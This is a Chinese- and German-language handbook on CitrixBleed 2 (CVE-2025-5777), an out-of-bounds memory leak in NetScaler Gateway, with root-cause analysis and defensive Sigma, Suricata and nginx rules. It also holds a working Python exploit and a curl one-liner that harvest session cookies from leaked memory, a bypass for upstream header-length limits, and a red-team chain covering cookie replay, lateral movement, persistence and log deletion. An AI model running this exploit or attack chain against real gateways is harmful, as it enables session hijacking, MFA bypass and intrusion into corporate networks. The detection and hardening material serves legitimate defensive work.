
详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件
An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — Ein umfassendes Handbuch von der Ursache bis zur Angriffs- und Verteidigungsübung
0x00 引言 / 速览
0x01 背景:NetScaler 架构与 CitrixBleed 1 回顾
0x02 漏洞描述(影响版本、CVSS、利用后果)
0x03 触发机理深剖(源码级分析 & 调试截图)
0x04 最小 PoC + 高级扫描脚本
0x05 红队视角:完整攻击链(发现 → 泄露 → 会话劫持 → 内网横向)
0x06 蓝队视角:检测、取证与补丁验证
0x07 防御加固:补丁、WAF、配置、资产治理
0x08 学习 / 复习路线图与实战实验
附录 A Sigma / Suricata / Nginx-Lua 规则
附录 B 补丁/利用时间轴 & IoC 快照
参考资料
Host-Header das Gerät dazu bringen, zufällige Speicherblöcke zusammen mit der HTTP-Antwort an den Client zu „spucken“.NSC_USER / NSC_TASS-Cookies, SAML StateContext, MFA-Token und andere kritische Materialien, die direkt wiederverwendet werden können, um eine Session-Übernahme und MFA-Umgehung durchzuführen (arcticwolf.com, tenable.com).┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway 认证
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ 正向到应用
│ CVPN / RDP │
└──────────────┘
NetScaler verwendet ein Multi-Prozess + internes IPC-Design. WebProc ist für die Verarbeitung der meisten HTTP-Anfragen unter AAA / Gateway-Pfaden verantwortlich, einschließlich /nf/auth/*, /oauth/* usw. Es verwendet in C häufig snprintf() / memcpy(), um jedes Mal XML/HTML-Fragmente zusammenzusetzen.
/oauth/idp/.well-known/openid-configuration auf.snprintf als len-Parameter für nachfolgendes send() → Speicherüberlauf-Echo.Gelernte Lektion: Wenn Sicherheitspatches nur auf den „Einschlagspunkt“ und nicht auf das „Programmierparadigma“ abzielen, bleibt Raum für „schablonenhafte Wiederholungen“.
Dieser Abschnitt basiert auf Decompilierung + gdb-Debugging der Firmware 13.1-55.18, kombiniert mit öffentlichen Blogbeiträgen (bishopfox.com).
/nf/auth/startwebview.doHost-Header<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length 可 > 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
Fehlerpunkt:
snprintfgibt die „Länge, die hätte geschrieben werden sollen“ zurück, nicht die tatsächlich geschriebene Länge; wenn der vom Benutzer übergebeneHost> 0x1800 - Länge des konstanten Segments ist, dann istlength>sizeof(buf).
buf: [-----XML-----][OOB][OOB][OOB]...... <- 0x1800 bytes limit
↑
被 ns_vpn_send_response 一并发出
GDB-Breakpoint-Demonstration (wichtige Register):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
Das Ergebnis von read() zeigte, dass die letzten 1.600 Bytes aus nicht initialisiertem Speicher stammten, in dem Cookie-Puffer anderer SSL-Sitzungen sichtbar waren.
| Kategorie | Beispielauszug (anonymisiert) |
|---|---|
| Session Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP Token | radius_state=0e2a9c6d1553... |
| Andere Anfragekörper | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
Wenn nach der Ausführung ein 200-Statuscode + mehrere KB zurückgegeben werden, wird die Schwachstelle als vorhanden angesehen.
Suchen Sie weiter in leak.bin nach Schlüsselwörtern wie Cookie=, <AuthenticateContext> usw.
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
Workaround: Einige Geräte haben eine Längenbegrenzung für den
Host-Header in vorgelagerten F5 / Nginx; dies kann durch Aneinanderreihung mehrerer Subdomains umgangen werden, z.B.foo.foo.foo.…foo.example.com(3000-malfoowiederholen).
Realweltbeispiel: ReliaQuest beobachtete an Kundengateways „eine kurze, große Anzahl von Anfragen mit Host-Headern > 6 KB, gefolgt von gestohlenen Sitzungen“ (reliaquest.com).
| Quelle | Anzeichen |
|---|---|
| /var/log/ns.log | AAA_TRANSACTION <client_ip> - Host header length: 6144 |
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
cs-bytes|gt: 2048
c-host|strlen|gt: 4096
condition: selection
level: critical
nscli -s 127.0.0.1:3008 \
-c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
&& echo "Patched ✅" || echo "Vulnerable ❌"
# Alle aktiven VPN/ICA-Verbindungen löschen
kill icaconnection -all
kill vpn -all
Hinweis: Auch nach dem Patchen müssen Sitzungen zwangsweise abgemeldet werden, um zu verhindern, dass Angreifer weiterhin gestohlene Cookies verwenden.
map $http_host $block_long_host {
default 0;
"~^.{4097,}$" 1;
}
server {
...
if ($block_long_host) { return 413; }
}
/nf/auth/ & /oauth/ (z.B. 20 req/m).title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
product: netscaler
service: http_access
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
c-host|strlen|gt: 4096
condition: selection
level: critical
alert http any any -> any any (
msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
http.uri; content:"/nf/auth/startwebview.do"; nocase;
http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
classtype:attempted-recon;
sid:5777002; rev:1;
)
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end
Ende — Ich hoffe, dieses Dokument hilft Ihnen, CitrixBleed 2 umfassend zu verstehen und zu bewältigen. Wenn Sie weitere Beispiele, Skripte oder Übungsanleitungen benötigen, fragen Sie einfach nach!
| Feld | Inhalt |
|---|
| CVE | CVE-2025-5777 |
| Alias | CitrixBleed 2 |
| Schwachstellentyp | Out-of-Bounds Read / Informationsleck |
| CVSS v4 Base | 9.3 (Crit.) (netscaler.com) |
| Betroffene Versionen | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com) |
| Ausnutzungsbedingungen | NetScaler ist als Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) oder AAA vServer konfiguriert (arcticwolf.com) |
| Auswirkung der Ausnutzung | Speicherleck → Sitzungstoken → Authentifizierungsumgehung / MFA-Umgehung → Lateralbewegung |
| Schritt | Ziel & Technik |
|---|
| ① Asset-Erkennung | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan usw.; filtern nach set-cookie: NSC_ |
| ② PoC-Leck | Parallele Anfragen mit Batch-Skript; extrahiere NSC_USER= ; NSC_TASS= |
| ③ Cookie-Wiederholung | Chrome DevTools→Application→Cookies→Eintrag hinzufügen, /vpn/index.html aktualisieren |
| ④ Interne Ressourcen | Zugriff auf storeweb/#home für RDP-Dateien; .ica herunterladen und direkt per VDI einloggen |
| ⑤ Berechtigungserweiterung | Interne Credential Spraying, Kerberoast, ADCS ESC1; oder schwache SMB-Passwörter im selben Netzsegment ausnutzen |
| ⑥ Persistenz | Neue Scheduled Tasks erstellen; Autostart-Skripte registrieren; oder NetScaler vDisk modifizieren (hohe Rechte erfordern Betriebsnachlässigkeit) |
| ⑦ Spurenbeseitigung | Cookies sofort nach Gebrauch löschen; Audit-Logs löschen (falls NS root erlangt); oder logrotate-Race ausnutzen zur Überschreibung |
| HTTP_ACCESS.log | Anfrage an /nf/auth/startwebview.do mit sehr kurzer Dauer aber ungewöhnlich großer Antwort (> 2 KB) |
| EDR/PCAP | Set-Cookie: NSC_USER= erscheint in Antworten auf Nicht-Login-Anfragen |
| Phase | Empfohlene Materialien & Aktionen |
|---|
| Theorie | Lesen Sie die Citrix-Sicherheitsmeldung, Arctic Wolf / Tenable FAQ, Bishop Fox technische Analyse (arcticwolf.com, tenable.com, bishopfox.com) |
| Labor | Stellen Sie die anfällige Version 13.1-55.18 bereit (ESXi / KVM), führen Sie das minimale PoC aus, Wireshark-Mitschnitt → beobachten Sie das TCP PSH-Rückpaket |
| Codierung | Erweitern Sie das PoC: automatisches Cookie-Wiedereinspielen, ZTLS-Massenscan, Multithreading-Queue |
| Blue Team | Suchen Sie in einem zweistündigen Fenster nach abnormalen Host-Längen; verwenden Sie Sigma→Elastic/Graylog; reproduzieren und validieren Sie WAF-Strategien |
| Teilen | Schreiben Sie einen Blog oder erstellen Sie eine Mindmap, fassen Sie die „gleiche snprintf-Falle“ zusammen |
| Datum (2025) | Ereignis |
|---|
| 06-17 | Citrix veröffentlicht erste Mitteilung zu CVE-2025-5777 (netscaler.com) |
| 06-18 | Bishop Fox veröffentlicht technische Analyse & PoC (bishopfox.com) |
| 06-23 | Citrix aktualisiert Geltungsbereich + Patch-Versionen; CISA nimmt in KEV auf |
| 06-25 | ReliaQuest meldet aktive Ausnutzung, Bedrohungsgruppen sammeln massenhaft Sitzungen (reliaquest.com) |
| 06-27 | BleepingComputer berichtet „möglicherweise weit verbreitete Ausnutzung“ (bleepingcomputer.com) |
| 06-28 | Mehrere GitHub-PoCs erscheinen; Tenable veröffentlicht FAQ (tenable.com) |